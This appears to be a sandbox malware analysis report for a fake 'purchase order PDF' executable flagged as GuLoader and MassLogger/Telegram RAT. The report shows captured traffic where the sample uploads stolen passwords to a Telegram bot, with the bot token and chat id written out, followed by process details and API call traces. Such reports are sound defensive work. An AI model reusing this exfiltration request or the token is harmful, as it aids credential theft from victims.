2024-12-19 14:30:56 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd25bb05fd59f6 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:30:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 35 62 62 30 35 66 64 35 39 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd25bb05fd59f6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:57 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:57 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19685,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618657,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49967	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:31:01 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd26d9ff1bf1b4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:31:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 36 64 39 66 66 31 62 66 31 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd26d9ff1bf1b4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:31:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:31:01 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:31:01 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19687,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618661,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49979	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:31:06 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd27d060a159d9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:31:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 37 64 30 36 30 61 31 35 39 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd27d060a159d9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:31:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:31:06 GMT Content-Type: application/json Content-Length: 541 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:31:07 UTC	541	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19689,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618666,"document":{"file_n

Target ID:	0
Start time:	09:28:58
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"
Imagebase:	0x400000
File size:	477'600 bytes
MD5 hash:	745504717878BB22B600DF7E2C2DD9F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2205388503.0000000002BCC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:29:14
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"
Imagebase:	0x400000
File size:	477'600 bytes
MD5 hash:	745504717878BB22B600DF7E2C2DD9F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.4%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	25%
Total number of Nodes:	1517
Total number of Limit Nodes:	46

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,0042AA28,?), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly, xrefs: 004035D3
\Temp, xrefs: 004034DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
USERENV, xrefs: 004032F1
.tmp, xrefs: 0040363F
1033, xrefs: 00403526
SeShutdownPrivilege, xrefs: 0040374D
~nsu, xrefs: 00403623
C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe, xrefs: 004036D6
NSIS Error, xrefs: 00403341
TEMP, xrefs: 0040350A
Low, xrefs: 004034F8
Error launching installer, xrefs: 004035AD
"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe", xrefs: 00403356, 0040335C, 00403553
SETUPAPI, xrefs: 004032FB
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
UXTHEME, xrefs: 004032E7
TMP, xrefs: 00403512
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-622675497
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,?), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

N, xrefs: 00404DBB
, xrefs: 004050E9
M, xrefs: 00404CDA

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,?), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
